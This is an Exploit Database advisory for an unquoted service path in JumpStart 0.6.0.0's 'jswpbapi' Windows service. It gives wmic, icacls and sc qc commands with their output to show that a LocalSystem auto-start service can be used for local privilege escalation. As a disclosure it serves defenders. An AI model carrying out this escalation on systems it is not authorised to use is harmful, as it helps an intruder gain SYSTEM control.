



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# JumpStart 0.6.0.0 - 'jswpbapi' Unquoted Service Path

**EDB-ID:**

47549

**CVE:**

N/A

**EDB Verified:** ✘

**Author:**

[ROBERTO ESCAMILLA](#)

**Type:**

[LOCAL](#)

**Exploit:**   / 

**Platform:**

[WINDOWS](#)

**Date:**

2019-10-28

**Vulnerable App:**



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
# Exploit Title: JumpStart 0.6.0.0 - 'jswpbapi' Unquoted Service Path
# Google Dork: N/A
# Date: 2019-09-09
# Exploit Author: Roberto Escamilla
# Vendor Homepage:https://www.inforprograma.net/
# Software Link: https://www.inforprograma.net/
# Version: = 0.6.0.0 wspin.exe
# Tested on: Windows 10 Home
# CVE : N/A
```

```
#####STEPS#####
```

```
# 1.- Install the JumpStart application on Windows 10 Home Operating System
# 2.- Open our "System Symbol" application.
# 3.- Execute the command -----wmic service get name, displayname,
pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" |
findstr /i /v ""
# 4.- The following will appear in a list: JumpStart Push-Button Service
jswpbapi      C:\Program Files (x86)\Jumpstart\jswpbapi.exe
# 5.- We proceed to verify the process using the command icacls, with which
we verify the protection of the directory as shown below:
```

```
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administradores:(I)(F)
BUILTIN\Usuarios:(I)(RX)
ENTIDAD DE PAQUETES DE APLICACIONES\TODOS LOS PAQUETES DE APLICACIONES:(I)
(RX)
ENTIDAD DE PAQUETES DE APLICACIONES\TODOS LOS PAQUETES DE APLICACIÓN
RESTRINGIDOS:(I)(RX)
```

```
# 6.- Finally we verify using the command sc qc jswpbapi the protection of
the service in which we observe that it is scalable in privileges
# since the route contains spaces without being in quotes and is in
CONTROL_ERROR normal and NOMBRE_INICIO_SERVICIO:
# LocalSystem as it's shown in the following [SC] QueryServiceConfig
CORRECTO
```

```
NOMBRE_SERVICIO: jswpbapi
        TIPO                : 10  WIN32_OWN_PROCESS
        TIPO_INICIO          : 2   AUTO_START
        CONTROL_ERROR        : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Jumpstart\jswpbapi.exe
        GRUPO_ORDEN_CARGA    :
        ETIQUETA              : 0
        NOMBRE_MOSTRAR        : JumpStart Push-Button Service
        DEPENDENCIAS          : RPCSS
        NOMBRE_INICIO_SERVICIO: LocalSystem
```

Tags:

Advisory/Source: [Link](#)

Databases ▾

Links ▾

Sites ▾

Solutions ▾

 EXPLOIT DATABASE



EXPLOIT DATABASE BY OFFSEC [TERMS](#) [PRIVACY](#) [ABOUT US](#) [FAQ](#) [COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING